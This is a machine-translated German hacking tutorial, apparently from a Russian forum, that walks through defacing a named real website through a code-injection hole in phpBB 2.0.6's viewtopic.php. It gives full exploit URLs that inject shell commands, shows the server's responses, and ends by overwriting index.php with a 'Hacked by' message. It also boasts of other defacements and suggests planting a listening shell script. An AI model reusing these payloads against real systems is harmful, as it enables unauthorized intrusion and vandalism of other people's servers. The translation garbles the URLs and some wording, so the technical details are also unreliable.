This page has been robot translated, sorry for typos if any. Original content here.

Eine vollständige Anleitung zur Verunstaltung (aktualisiert)

Einleitung
Ich sehe oft die Frage im Forum: "Wie brechen Sie Websites?" oder "Wie definiere ich eine Site?". Heute können Sie das Portal ohne großen Aufwand defekt machen! Ich lade alle Liebhaber einfacher Beute ein! =)

Hauptteil
Heute werde ich darüber sprechen, wie Standardeinstellungen für verschiedene Websites durch Fehler in gängigen Skripten vorgenommen werden. Kürzlich wurde eine ernsthafte Sicherheitslücke in der beliebten phpBB-Engine entdeckt.
Im viewtopic.php-Modul wurde eine Sicherheitslücke entdeckt.

Tatsache ist, dass ein entfernter Angreifer ein beliebiges PHP-Skript auf einem anfälligen System ausführen kann, indem er so etwas wie die Zeile viewtopic.php? T = 1 & highlight =% 27 überträgt

Wie Sie wahrscheinlich vermutet haben, können Sie mit dieser Sicherheitsanfälligkeit beliebige Befehle beliebiger Länge auf einem anfälligen Server ausführen. Heute werden wir diese Lücke nutzen und zusammen mit Ihnen einen echten Server zerstören. Unser Ziel wird genau eine Verunstaltung sein, dh die Ersetzung der Hauptseite der Website durch unsere.

Beginnen wir also, unser Opfer wird www.maxmuscle.dk sein (zum Zeitpunkt der Veröffentlichung des Artikels ist das Portal resistent gegen Schwachstellen).
Das Erste, was uns beim Besuch dieser Seite auffällt, ist, dass sie auf dem Portalsystem php-nuke basiert.

Das Standardforum für dieses System ist phpBB. Wir klicken auf den Link, der uns zum Forum führt (http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&file=index.php) und stellen sicher, dass es sich um phpBB Version 2.0.6 handelt .

Wir geben dem Forum eine Anfrage dieser Art:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&fileе = viewtopic.php & t = 2 & highlight =% 27. $ poster = `$ ls`.% 27 & ls =

und wir stellen fest, dass der Motor die Linie absorbiert hat, die durch die charakteristische Inschrift anstelle des Spitznamens eines der Benutzer angezeigt wird: ") #i". Das hat aber nichts zu bedeuten, wir können die Ausführung von Befehlen auf diesem Server leicht abbrechen, aber wir werden nicht raten und nur versuchen, es auszuführen:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&filе=viewtopic.php&t=2&highlight=%27.$poster=`$ls`.%27&l s = pwd

Dieser Befehl (pwd) sollte uns das Verzeichnis anzeigen, in dem wir uns jetzt befinden. In diesem Fall ist die Ausführung von Befehlen auf dem Server möglich. Das ist was passiert. Der Verzeichnispfad / var / www / html / osclux / wird angezeigt. Der nächste Befehl folgt auf "id", um unseren Zugriff zu überprüfen.

Wie wir sehen, haben wir uid = 99 (nobody) -Rechte , also Webserver-Rechte. Jetzt listen wir die Ordner und Dateien im Verzeichnis html_public mit dem Befehl "dir / var / www / html / osclux" auf und finden heraus, was wir so sehr brauchen, um die Datei index.php zu entziehen.

Wir sind also am Ziel - wenn Sie den Befehl echo Hacked by vasya> index.php ausführen , wird auf der Hauptseite die Aufschrift „Hacked by vasya“ angezeigt. Wir prüfen. Es stellte sich heraus.

Du hast eine Verunstaltung gemacht.

Anstelle des Abschlusses
Dies ist der einfachste Weg, wie deface hackzona.ru durchgeführt wurde. Auf diese Weise wurde das Forum auf nsd.ru zerstört. Ich stelle auch fest, dass dies die einfachste Implementierung dieser Lücke ist: Unter guten Bedingungen können Sie problemlos ein Perl-Skript auf einen Server hochladen, der einen bestimmten Port abhört, und eine vollwertige Shell ohne Rechte erhalten.